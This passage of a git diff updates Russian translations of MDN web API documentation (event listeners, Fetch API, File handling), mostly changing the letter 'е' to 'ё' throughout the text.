href="/ru/docs/Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages" title="Code snippets/Interaction between privileged and non-privileged pages">Взаимодействие между привилегированными и непривилегированными страницами</a> для примеров использования.</dd> </dl> -<p>Прежде чем использовать определенное значение в объекте <code>options</code>, рекомендуется убедиться, что браузер пользователя поддерживает его, поскольку это дополнение, которое не все браузеры поддерживали исторически.</p> +<p>Прежде чем использовать определённое значение в объекте <code>options</code>, рекомендуется убедиться, что браузер пользователя поддерживает его, поскольку это дополнение, которое не все браузеры поддерживали исторически.</p> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -78,7 +78,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <h3 id="Безопасная_проверка_поддержки_option">Безопасная проверка поддержки <code>option</code></h3> -<p>В более старых версиях спецификации DOM третьим параметром <code>addEventListener</code> было логическое значение, указывающее, следует ли захватывать событие на этапе погружения. Со временем стало ясно, что необходимо больше вариантов. Вместо добавления дополнительных параметров в функцию (усложняя ситуацию при использовании необязательных значений) третий параметр был изменен на объект, который может содержать различные свойства, определяющие значения параметров для настройки обработчика событий.</p> +<p>В более старых версиях спецификации DOM третьим параметром <code>addEventListener</code> было логическое значение, указывающее, следует ли захватывать событие на этапе погружения. Со временем стало ясно, что необходимо больше вариантов. Вместо добавления дополнительных параметров в функцию (усложняя ситуацию при использовании необязательных значений) третий параметр был изменён на объект, который может содержать различные свойства, определяющие значения параметров для настройки обработчика событий.</p> <p>Поскольку старые браузеры (а также некоторые не слишком старые браузеры) по-прежнему предполагают, что третий параметр является логическим, возникает необходимость создания своего кода, чтобы разумно обрабатывать этот сценарий. Вы можете сделать это, используя функцию обнаружения для каждого из интересующих вас параметров.</p> @@ -96,16 +96,16 @@ try { window.addEventListener("test", null, options); } catch(err) {}</pre> -<p>Этот код создает объект <code>options</code> с геттером для свойства passive, устанавливающим флаг <code>passiveSupported</code> в <code>true</code>, если он вызван. Это означает, что если браузер проверяет значение свойства <code>passive</code> на объекте <code>options</code>, значение <code>passiveSupported</code> будет установлено в true; в противном случае он останется ложным. Затем мы вызываем <code>addEventListener</code>, чтобы настроить фальшивый обработчик событий, указав эти параметры для проверки опций, если браузер распознает объект в качестве третьего параметра.</p> +<p>Этот код создаёт объект <code>options</code> с геттером для свойства passive, устанавливающим флаг <code>passiveSupported</code> в <code>true</code>, если он вызван. Это означает, что если браузер проверяет значение свойства <code>passive</code> на объекте <code>options</code>, значение <code>passiveSupported</code> будет установлено в true; в противном случае он останется ложным. Затем мы вызываем <code>addEventListener</code>, чтобы настроить фальшивый обработчик событий, указав эти параметры для проверки опций, если браузер распознает объект в качестве третьего параметра.</p> -<p>Для проверки поддержки использования какой-либо опции можно просто добавить геттер для нее, используя код, подобный тому, что показан выше.</p> +<p>Для проверки поддержки использования какой-либо опции можно просто добавить геттер для неё, используя код, подобный тому, что показан выше.</p> -<p>Если вы хотите добавить обработчик событий, использующий параметры, о которых идет речь, вы можете сделать это подобным образом:</p> +<p>Если вы хотите добавить обработчик событий, использующий параметры, о которых идёт речь, вы можете сделать это подобным образом:</p> <pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported ? { passive: true } : false);</pre> -<p>Здесь мы добавляем обработчик события {{event ("mouseup")}} элемента <code>someElement</code>. Для третьего параметра, если <code>passiveSupported</code> имеет значение <code>true</code>, мы указываем объект <code>options</code> с <code>passive: true</code>; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаем <code>false</code> как значение параметра <code>useCapture</code>.</p> +<p>Здесь мы добавляем обработчик события {{event ("mouseup")}} элемента <code>someElement</code>. Для третьего параметра, если <code>passiveSupported</code> имеет значение <code>true</code>, мы указываем объект <code>options</code> с <code>passive: true</code>; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаём <code>false</code> как значение параметра <code>useCapture</code>.</p> <p>Вы можете использовать стороннюю библиотеку, такую как <a href="https://modernizr.com/docs">Modernizr</a> или <a href="https://github.com/rafrex/detect-it">Detect It</a>, чтобы проверить поддержку необходимого свойства.</p> diff --git a/files/ru/web/api/eventtarget/removeeventlistener/index.html b/files/ru/web/api/eventtarget/removeeventlistener/index.html index 12a128fb9c..86a4b41898 100644 --- a/files/ru/web/api/eventtarget/removeeventlistener/index.html +++ b/files/ru/web/api/eventtarget/removeeventlistener/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/EventTarget/removeEventListener </dd> <dt><code>useCapture</code> {{optional_inline}}</dt> <dd>Указывает, был ли удаляемый {{domxref("EventListener")}}зарегистрирован как перехватывающий обработчик, или нет. Если этот параметр отсутствует, предполагается значение по умолчанию:<code>false</code>.</dd> - <dd>Если обработчик был зарегистрирован дважды, один раз с перехватом (с <code>capture</code>) и один - без, каждый из них должен быть удален по отдельности. Удаление перехватывающего обработчика никак не затрагивает неперехватывающую версию этого же обработчика, и наоборот.</dd> + <dd>Если обработчик был зарегистрирован дважды, один раз с перехватом (с <code>capture</code>) и один - без, каждый из них должен быть удалён по отдельности. Удаление перехватывающего обработчика никак не затрагивает неперехватывающую версию этого же обработчика, и наоборот.</dd> </dl> <div class="note"><strong>Заметка:</strong> <code>useCapture</code> требуется в большинстве основных браузеров старых версий. Если вы хотите поддерживать большую совместимость, вы всегда должны использовать параметр <code>useCapture</code>.</div> @@ -49,7 +49,7 @@ translation_of: Web/API/EventTarget/removeEventListener <h2 id="Compatibility" name="Compatibility">Примечания</h2> -<p>Если {{domxref("EventListener")}} был удален из {{domxref("EventTarget")}} процессе обработки события (например предшествующим {{domxref("EventListener")}} того же типа), он не будет вызван. После удаления, {{domxref("EventListener")}} не будет вызываться, однако его можно назначить заново.</p> +<p>Если {{domxref("EventListener")}} был удалён из {{domxref("EventTarget")}} процессе обработки события (например предшествующим {{domxref("EventListener")}} того же типа), он не будет вызван. После удаления, {{domxref("EventListener")}} не будет вызываться, однако его можно назначить заново.</p> <p>Вызов <code>removeEventListener()</code> с параметрами, не соответствующими ни одному зарегистрированному {{domxref("EventListener")}} в <code>EventTarget</code>, не имеет никакого эффекта.</p> diff --git a/files/ru/web/api/extendableevent/waituntil/index.html b/files/ru/web/api/extendableevent/waituntil/index.html index 61283c7031..0940ef1c50 100644 --- a/files/ru/web/api/extendableevent/waituntil/index.html +++ b/files/ru/web/api/extendableevent/waituntil/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/ExtendableEvent/waitUntil <p>События <code>install</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> чтобы задержать service worker в {{domxref("ServiceWorkerRegistration.installing", "installing")}} фазе пока не завершатся задачи. Если обещание переданное в <code>waitUntil()</code> отклоняется, установка считается неудачной и устанавливаемый service worker отбрасывается. В первую очередь это используется для гарантии того, что service worker не рассматривается как установленный (installed), пока все основные кэши на которые он зависит успешно не заполнены.</p> -<p>События <code>activate</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> для размещения в буфере функциональных событий таких как <code>fetch</code> и <code>push</code> пока обещание переданное в <code>waitUntil()</code> не завершится успешно. Это дает service worker время, чтобы обновить схемы базы данных и удалить устаревшие {{domxref("Cache", "caches")}}, таким образом другие события могут полагаться на полностью обновленное состояние.</p> +<p>События <code>activate</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> для размещения в буфере функциональных событий таких как <code>fetch</code> и <code>push</code> пока обещание переданное в <code>waitUntil()</code> не завершится успешно. Это даёт service worker время, чтобы обновить схемы базы данных и удалить устаревшие {{domxref("Cache", "caches")}}, таким образом другие события могут полагаться на полностью обновлённое состояние.</p> <p>Метод <code>waitUntil()</code> должен быть изначально вызван внутри колбэка события (<em>event callback</em>), но после этого он может быть вызван множество раз, до тех пор пока все обещания переданные в него не завершатся успешно.</p> diff --git a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html index 2770db2a0f..f59ccb869f 100644 --- a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html +++ b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html @@ -3,7 +3,7 @@ title: Cross-global fetch usage slug: Web/API/Fetch_API/Cross-global_fetch_usage translation_of: Web/API/Fetch_API/Cross-global_fetch_usage --- -<p class="summary">Эта статья объясняет крайний случай, который случается с fetch (и потенциально с другими API, предоставляющими такой же способ получения данных). Когда cross-origin fetch, включающий относительный URL, инициируется из {{htmlelement("iframe")}}, относительный URL может использовать текущий глобальный location вместо того что задается в iframe.</p> +<p class="summary">Эта статья объясняет крайний случай, который случается с fetch (и потенциально с другими API, предоставляющими такой же способ получения данных). Когда cross-origin fetch, включающий относительный URL, инициируется из {{htmlelement("iframe")}}, относительный URL может использовать текущий глобальный location вместо того что задаётся в iframe.</p> <h2 id="Крайний_случай">Крайний случай</h2> @@ -22,7 +22,7 @@ translation_of: Web/API/Fetch_API/Cross-global_fetch_usage <pre class="brush: js">let absolute = new URL(relative, window.location.href)</pre> -<p>Это не проблема как таковая. Просто разные API, демонстрирующие такое поведение, делали его несовместимым с поведением, определенным в спецификации, что может привести к проблемам в дальнейшем.</p> +<p>Это не проблема как таковая. Просто разные API, демонстрирующие такое поведение, делали его несовместимым с поведением, определённым в спецификации, что может привести к проблемам в дальнейшем.</p> <h2 id="Решение">Решение</h2> @@ -30,4 +30,4 @@ translation_of: Web/API/Fetch_API/Cross-global_fetch_usage <pre class="brush: js">let absolute = new URL(relative, frame.contentWindow.location.href)</pre> -<p>Ведется много дискуссий о том, как привести новые спецификации в соответствие с этим изменением поведения, для того чтобы уменьшить возможные проблемы в будущем.</p> +<p>Ведётся много дискуссий о том, как привести новые спецификации в соответствие с этим изменением поведения, для того чтобы уменьшить возможные проблемы в будущем.</p> diff --git a/files/ru/web/api/fetch_api/index.html b/files/ru/web/api/fetch_api/index.html index 90942a2c13..a4d89b389b 100644 --- a/files/ru/web/api/fetch_api/index.html +++ b/files/ru/web/api/fetch_api/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/Fetch_API <h2 id="Определения_и_использование">Определения и использование</h2> -<p>Fetch обеспечивает обобщенное определение объектов {{DOMxRef("Request")}} и {{DOMxRef("Response")}} (и других вещей, связанных с сетевыми запросами). Это позволит им использоваться везде, где необходимо в будущем, в том числе и для service workers, Cache API и других подобных технологий, которые обрабатывают или изменяют запросы (requests) и ответы (responses), а так же в любых других случаях, которые могут потребовать от вас генерировать свой собственный ответ программно.</p> +<p>Fetch обеспечивает обобщённое определение объектов {{DOMxRef("Request")}} и {{DOMxRef("Response")}} (и других вещей, связанных с сетевыми запросами). Это позволит им использоваться везде, где необходимо в будущем, в том числе и для service workers, Cache API и других подобных технологий, которые обрабатывают или изменяют запросы (requests) и ответы (responses), а так же в любых других случаях, которые могут потребовать от вас генерировать свой собственный ответ программно.</p> <p>Это также предоставляет определение в отношение таких понятий, как CORS и семантика заголовков HTTP origin, заменяя их обособленные определения где бы то ни было.</p> @@ -36,7 +36,7 @@ translation_of: Web/API/Fetch_API <ul> <li> - <p>Обещание, возвращенное из <code>fetch()</code>, <strong>не будет отвергнуто при статусе ошибки HTTP</strong>, даже если ответ является HTTP <code>404</code> или <code>500</code>. Вместо этого, оно будет разрешаться нормально (со статусом <code>ok</code> установленным в <code>false</code>), и будет отклоняться только при сбое в сети или если что-то помешало завершению запроса.</p> + <p>Обещание, возвращённое из <code>fetch()</code>, <strong>не будет отвергнуто при статусе ошибки HTTP</strong>, даже если ответ является HTTP <code>404</code> или <code>500</code>. Вместо этого, оно будет разрешаться нормально (со статусом <code>ok</code> установленным в <code>false</code>), и будет отклоняться только при сбое в сети или если что-то помешало завершению запроса.</p> </li> <li> <p><code>fetch() </code>может получать межсайтовые куки-файлы; таким образом вы можете установить межсайтовую сессию используя <code>fetch</code>.</p> @@ -48,7 +48,7 @@ translation_of: Web/API/Fetch_API <h3 id="Прерывание_выборки">Прерывание выборки</h3> -<p>Браузеры начали добавлять экспериментальную поддержку для {{domxref("AbortController")}} и {{domxref("AbortSignal")}} интерфейсов (aka The Abort API), которые позволяют прерывать операции, такие как Fetch и XHR, если они еще не завершены. Подробности смотрите на страницах интерфейсов.</p> +<p>Браузеры начали добавлять экспериментальную поддержку для {{domxref("AbortController")}} и {{domxref("AbortSignal")}} интерфейсов (aka The Abort API), которые позволяют прерывать операции, такие как Fetch и XHR, если они ещё не завершены. Подробности смотрите на страницах интерфейсов.</p> <h2 id="Fetch_интерфейсы">Fetch интерфейсы</h2> diff --git a/files/ru/web/api/fetch_api/using_fetch/index.html b/files/ru/web/api/fetch_api/using_fetch/index.html index f093df7ebf..77244b0d5a 100644 --- a/files/ru/web/api/fetch_api/using_fetch/index.html +++ b/files/ru/web/api/fetch_api/using_fetch/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Fetch_API/Using_Fetch <p>Обратите внимание, <code>fetch</code> спецификация отличается от <code>jQuery.ajax()</code> в основном в двух пунктах:</p> <ul> - <li>Promise возвращаемый вызовом <code>fetch()</code> <strong>не перейдет в состояние "отклонено" из-за ответа HTTP, который считается ошибкой</strong>, даже если ответ HTTP 404 или 500. Вместо этого, он будет выполнен нормально (с значением false в статусе <code>ok</code> ) и будет отклонён только при сбое сети или если что-то помешало запросу выполниться.</li> + <li>Promise возвращаемый вызовом <code>fetch()</code> <strong>не перейдёт в состояние "отклонено" из-за ответа HTTP, который считается ошибкой</strong>, даже если ответ HTTP 404 или 500. Вместо этого, он будет выполнен нормально (с значением false в статусе <code>ok</code> ) и будет отклонён только при сбое сети или если что-то помешало запросу выполниться.</li> <li>По умолчанию, <code>fetch</code> <strong>не будет отправлять или получать cookie файлы </strong>с сервера, в результате чего запросы будут осуществляться без проверки подлинности, что приведёт<span class="tlid-translation translation" lang="ru"><span title=""> к неаутентифицированным запросам</span></span>, если сайт полагается на проверку пользовательской сессии (для отправки cookie файлов в аргументе <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch#Parameters">init options</a> должно быть задано значение свойства <em>credentials</em> отличное от значения по умолчанию <code>omit</code>).</li> </ul> @@ -76,7 +76,7 @@ postData('https://example.com/answer', { answer: 42 }) credentials: 'include' })</code></pre> -<p>Если вы хотите отправлять запрос с учетными данными только если URL принадлежит одному источнику (origin) что и вызывающий его скрипт, добавьте <code>credentials: 'same-origin'</code>.</p> +<p>Если вы хотите отправлять запрос с учётными данными только если URL принадлежит одному источнику (origin) что и вызывающий его скрипт, добавьте <code>credentials: 'same-origin'</code>.</p> <pre><code>// Вызывающий скрипт принадлежит источнику 'https://example.com' @@ -316,7 +316,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre> <h2 id="Объекты_ответа">Объекты ответа</h2> -<p>Как вы видели выше, экземпляр {{domxref("Response")}} будет возвращен когда <code>fetch()</code> промис будет исполнен.</p> +<p>Как вы видели выше, экземпляр {{domxref("Response")}} будет возвращён когда <code>fetch()</code> промис будет исполнен.</p> <p>Свойства объекта-ответа которые чаще всего используются:</p> @@ -371,7 +371,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre> <li>{{domxref("Body.formData","formData()")}}</li> </ul> -<p>Это делает использование нетекстовых данных более легким, чем при XMR.</p> +<p>Это делает использование нетекстовых данных более лёгким, чем при XMR.</p> <p>В запросе можно установить параметры для отправки тела запроса:</p> @@ -385,7 +385,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre> <h2 id="Функция_обнаружения">Функция обнаружения</h2> -<p>Поддержка Fetch API может быть обнаружена путем проверки наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} или {{domxref("GlobalFetch.fetch","fetch()")}} в области видимости {{domxref("Window")}} или {{domxref("Worker")}}. Для примера:</p> +<p>Поддержка Fetch API может быть обнаружена путём проверки наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} или {{domxref("GlobalFetch.fetch","fetch()")}} в области видимости {{domxref("Window")}} или {{domxref("Worker")}}. Для примера:</p> <pre class="brush: js">if (self.fetch) { // запустить мой fetch запрос здесь @@ -395,7 +395,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre> <h2 id="Полифил">Полифил</h2> -<p>Для того, чтобы использовать Fetch в неподдерживаемых браузерах, существует <a href="https://github.com/github/fetch">Fetch Polyfill</a> , который воссоздает функциональность для не поддерживающих браузеров.</p> +<p>Для того, чтобы использовать Fetch в неподдерживаемых браузерах, существует <a href="https://github.com/github/fetch">Fetch Polyfill</a> , который воссоздаёт функциональность для не поддерживающих браузеров.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/fetchevent/index.html b/files/ru/web/api/fetchevent/index.html index d0e2454f50..c95577b858 100644 --- a/files/ru/web/api/fetchevent/index.html +++ b/files/ru/web/api/fetchevent/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/FetchEvent <dl> <dt>{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}</dt> - <dd>Создает новый объект <code>FetchEvent</code>. Как правило, данный конструктор не используется. Браузер самостоятельно создает данные объекты и передает их в обработчик событий <code>fetch</code>.</dd> + <dd>Создаёт новый объект <code>FetchEvent</code>. Как правило, данный конструктор не используется. Браузер самостоятельно создаёт данные объекты и передаёт их в обработчик событий <code>fetch</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/file/filename/index.html b/files/ru/web/api/file/filename/index.html index 912bfe49ca..6b236d1cf1 100644 --- a/files/ru/web/api/file/filename/index.html +++ b/files/ru/web/api/file/filename/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/File/fileName <h2 id="Summary">Summary</h2> -<p>Возвращает имя файла. В целях безопасности путь исключен из этого свойства.</p> +<p>Возвращает имя файла. В целях безопасности путь исключён из этого свойства.</p> <div class="note">Это свойство исключено. Используйте вместо него {{domxref("File.name")}}.</div> @@ -25,7 +25,7 @@ translation_of: Web/API/File/fileName <p>Не является частью документации.</p> -<h2 id="Смотреть_еще">Смотреть еще</h2> +<h2 id="Смотреть_ещё">Смотреть ещё</h2> <ul> <li>{{domxref("File.name")}}</li> diff --git a/files/ru/web/api/file/using_files_from_web_applications/index.html b/files/ru/web/api/file/using_files_from_web_applications/index.html index 32ef60dbff..e8469671bd 100644 --- a/files/ru/web/api/file/using_files_from_web_applications/index.html +++ b/files/ru/web/api/file/using_files_from_web_applications/index.html @@ -151,7 +151,7 @@ fileSelect.addEventListener("click", function (e) { <p>Также вы можете предоставить пользователю возможность непосредственно перетаскивать файлы в ваше веб-приложение.</p> -<p>На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приемку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:</p> +<p>На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приёмку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:</p> <pre class="brush: js notranslate">var dropbox; @@ -189,7 +189,7 @@ function dragover(e) { } </pre> -<p>Здесь мы извлекаем из события поле <code>dataTransfer</code>, затем вытаскиваем из него список файлов и передаем этот список в <code>handleFiles()</code>. После этого процесс обработки файлов одинаков вне зависимости от того, использовал ли пользователь для их выбора элемент <code>input</code> или технологию drag and drop.</p> +<p>Здесь мы извлекаем из события поле <code>dataTransfer</code>, затем вытаскиваем из него список файлов и передаём этот список в <code>handleFiles()</code>. После этого процесс обработки файлов одинаков вне зависимости от того, использовал ли пользователь для их выбора элемент <code>input</code> или технологию drag and drop.</p> <h2 id="Пример_Отображение_эскизов_изображений_выбранных_пользователем">Пример: Отображение эскизов изображений, выбранных пользователем</h2> @@ -213,11 +213,11 @@ function dragover(e) { } </pre> -<p>Здесь наш цикл обрабатывает выбранные пользователем файлы, проверяя атрибут <code>type</code> у каждого файла, чтобы определить является ли файл изображением (выполняется регулярное выражение в строке "<code>image.*</code>"). Для каждого файла, который является изображением, мы создаем новый <code>img</code> элемент. Можно использовать CSS для установки красивых рамок, теней, и указания размеров изображения, но здесь нет нужды делать этого.</p> +<p>Здесь наш цикл обрабатывает выбранные пользователем файлы, проверяя атрибут <code>type</code> у каждого файла, чтобы определить является ли файл изображением (выполняется регулярное выражение в строке "<code>image.*</code>"). Для каждого файла, который является изображением, мы создаём новый <code>img</code> элемент. Можно использовать CSS для установки красивых рамок, теней, и указания размеров изображения, но здесь нет нужды делать этого.</p> <p>Каждое изображение имеет CSS класс <code>obj</code> добавленный к нему для упрощения его поиска в DOM дереве. Мы также добавили атрибут <code>file</code> к каждому изображению, указав {{ domxref("File") }} ; это позволит нам получить изображения для фактической загрузки позже. Наконец, мы используем {{ domxref("Node.appendChild()") }} для того, чтобы добавить новый эскиз в область предпросмотра нашего документа.</p> -<p>Затем мы устанавливаем {{ domxref("FileReader") }} для обработки асинхронной загрузки изображения и прикрепления его к <code>img</code> элементу. После создания нового объекта <code>FileReader</code>, мы настраиваем его функцию <code>onload</code>, затем вызываем <code>readAsDataURL()</code> для запуска операции чтения в фоновом режиме. Когда всё содержимое файла изображения загружено, они преобразуют его в <code>data:</code> URL, который передается в колбэк <code>onload</code> . Наша реализация этой процедуры просто устанавливает атрибут <code>src</code> у элемента <code>img</code> загруженного изображения, в результате чего миниатюра изображения появляется на экране пользователя.</p> +<p>Затем мы устанавливаем {{ domxref("FileReader") }} для обработки асинхронной загрузки изображения и прикрепления его к <code>img</code> элементу. После создания нового объекта <code>FileReader</code>, мы настраиваем его функцию <code>onload</code>, затем вызываем <code>readAsDataURL()</code> для запуска операции чтения в фоновом режиме. Когда всё содержимое файла изображения загружено, они преобразуют его в <code>data:</code> URL, который передаётся в колбэк <code>onload</code> . Наша реализация этой процедуры просто устанавливает атрибут <code>src</code> у элемента <code>img</code> загруженного изображения, в результате чего миниатюра изображения появляется на экране пользователя.</p> <h2 id="Использование_URLs_объектов">Использование URLs объектов</h2> @@ -227,7 +227,7 @@ function dragover(e) { <pre class="brush: js notranslate"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre> -<p>URL объекта <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создается новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобожден. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:</p> +<p>URL объекта <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создаётся новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобождён. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:</p> <pre class="brush: js notranslate"><code>window.URL.revokeObjectURL(objectURL);</code></pre> @@ -290,12 +290,12 @@ function handleFiles(files) { <p>Если объект {{ domxref("FileList") }}, передаваемый в <code>handleFiles()</code> является <code>null</code>, то мы просто устанавливаем внутренний HTML блока в отображение текста "No files selected!". Иначе мы начинаем строить список файлов таким образом:</p> <ol> - <li>Создается новый элемент - неупорядоченный список ({{ HTMLElement("ul") }}).</li> + <li>Создаётся новый элемент - неупорядоченный список ({{ HTMLElement("ul") }}).</li> <li>Этот новый элемент вставляется в блок {{ HTMLElement("div") }} с помощью вызова его метода {{ domxref("element.appendChild()") }}.</li> <li>Для каждого {{ domxref("File") }} в {{ domxref("FileList") }}, представляемого <code>files</code>: <ol> - <li>Создаем новый элемент пункта списка ({{ HTMLElement("li") }}) и вставляем его в список.</li> - <li>Создаем новый элемент изображения ({{ HTMLElement("img") }}).</li> + <li>Создаём новый элемент пункта списка ({{ HTMLElement("li") }}) и вставляем его в список.</li> + <li>Создаём новый элемент изображения ({{ HTMLElement("img") }}).</li> <li>Устанавливаем источник изображения в новый URL объекта, представляющий файл, используя {{ domxref("window.URL.createObjectURL()") }} для создания URL на двоичный объект.</li> <li>Устанавливаем высоту изображения в 60 пикселей.</li> <li>Устанавливаем обработчик события загрузки изображения для освобождения URL объекта, т.к. после загрузки изображения он больше не нужен. Это делается вызовом метода {{ domxref("window.URL.revokeObjectURL()") }}, передавая в него строку URL объекта, которая указана в <code>img.src</code>.</li> @@ -306,11 +306,11 @@ function handleFiles(files) { <h2 id="Пример_Загрузка_файла_выбранного_пользователем">Пример: Загрузка файла, выбранного пользователем</h2> -<p>Еще одна вещь, которую вы можете захотеть сделать <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это позволить пользователю загрузить выбранный файл или файлы (такие, как изображения из предыдущего примера) на сервер. Это можно сделать асинхронно довольно просто.</p> +<p>Ещё одна вещь, которую вы можете захотеть сделать <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это позволить пользователю загрузить выбранный файл или файлы (такие, как изображения из предыдущего примера) на сервер. Это можно сделать асинхронно довольно просто.</p> <h3 id="Создание_заданий_на_загрузку">Создание заданий на загрузку</h3> -<p>Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class <code>obj</code>, с соответствующим {{ domxref("File") }}, прикрепленным в атрибут <code>file</code>. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:</p> +<p>Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class <code>obj</code>, с соответствующим {{ domxref("File") }}, прикреплённым в атрибут <code>file</code>. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:</p> <pre class="brush: js notranslate">function sendFiles() { var imgs = document.querySelectorAll(".obj"); @@ -354,7 +354,7 @@ function handleFiles(files) { reader.readAsBinaryString(file); }</pre> -<p>Функция <code>FileUpload()</code>, показанная выше, создает объект Throbber, который используется для отображения хода загрузки, а затем создает {{ domxref("XMLHttpRequest") }} для управления загрузкой данных.</p> +<p>Функция <code>FileUpload()</code>, показанная выше, создаёт объект Throbber, который используется для отображения хода загрузки, а затем создаёт {{ domxref("XMLHttpRequest") }} для управления загрузкой данных.</p> <p>Перед началом загрузки данных выполняются несколько шагов для подготовки:</p> @@ -427,7 +427,7 @@ if (isset($_FILES['myFile'])) { <h2 id="Пример_Использование_URL_объектов_для_отображения_PDF">Пример: Использование URL объектов для отображения PDF</h2> -<p>URL объектов могут быть использованы не только для изображений! Также этот прием можно использовать и для других ресурсов, которые могут отображаться браузером, например, файлы PDF.</p> +<p>URL объектов могут быть использованы не только для изображений! Также этот приём можно использовать и для других ресурсов, которые могут отображаться браузером, например, файлы PDF.</p> <p>В Firefox, для того чтобы файл PDF появился в iframe и не предлагался для загрузки, нужно установить <code>pdfjs.disabled</code> в значение <code>false</code> {{non-standard_inline()}}.</p> @@ -443,7 +443,7 @@ window.URL.revokeObjectURL(obj_url);</pre> <h2 id="Пример_Использование_URL_объектов_с_другими_типами_файлов">Пример: Использование URL объектов с другими типами файлов</h2> -<p>Вы можете таким же образом работать с файлами в других форматах. Ниже приведен пример как загружается видео:</p> +<p>Вы можете таким же образом работать с файлами в других форматах. Ниже приведён пример как загружается видео:</p> <pre class="brush: js notranslate">var video = document.getElementById('video'); var obj_url = window.URL.createObjectURL(blob); diff --git a/files/ru/web/api/file_and_directory_entries_api/index.html b/files/ru/web/api/file_and_directory_entries_api/index.html index 91bafe1bfb..76d7fe3a46 100644 --- a/files/ru/web/api/file_and_directory_entries_api/index.html +++ b/files/ru/web/api/file_and_directory_entries_api/index.html @@ -26,12 +26,12 @@ translation_of: Web/API/File_and_Directory_Entries_API <p>Существуют два очень похожих API в зависимости от того, хотите ли вы асинхронного или синхронного поведения. Синхронный API предназначен для использования внутри {{domxref("Worker")}} и будет возвращать желаемые значения. Асинхронный API не будет блокировать выполнение кода, а API не будет возвращать значения; вместо этого вам нужно будет предоставить колбэк-функцию для обработки одного или нескольких ответов.</p> <div class="warning"> -<p>Firefox реализация File System API очень ограничена: не поддерживается создание файлов. Доступ к файлам осуществляется только через {{HTMLElement("input")}} элемент (см. так же {{domxref("HTMLInputElement")}}) или путем перетаскивания файла/папки (<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>). Firefox также не реализует синхронный API. Внимательно проверьте совместимость браузера для любой части API, которую вы используете. ( см. <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">Поддержка File System API в Firefox</a>)</p> +<p>Firefox реализация File System API очень ограничена: не поддерживается создание файлов. Доступ к файлам осуществляется только через {{HTMLElement("input")}} элемент (см. так же {{domxref("HTMLInputElement")}}) или путём перетаскивания файла/папки (<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>). Firefox также не реализует синхронный API. Внимательно проверьте совместимость браузера для любой части API, которую вы используете. ( см. <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">Поддержка File System API в Firefox</a>)</p> </div> <h2 id="Получение_доступа_к_файловой_системе">Получение доступа к файловой системе</h2> -<p>Есть два способа получить доступ к файловой системе, определенным в текущем проекте спецификации:</p> +<p>Есть два способа получить доступ к файловой системе, определённым в текущем проекте 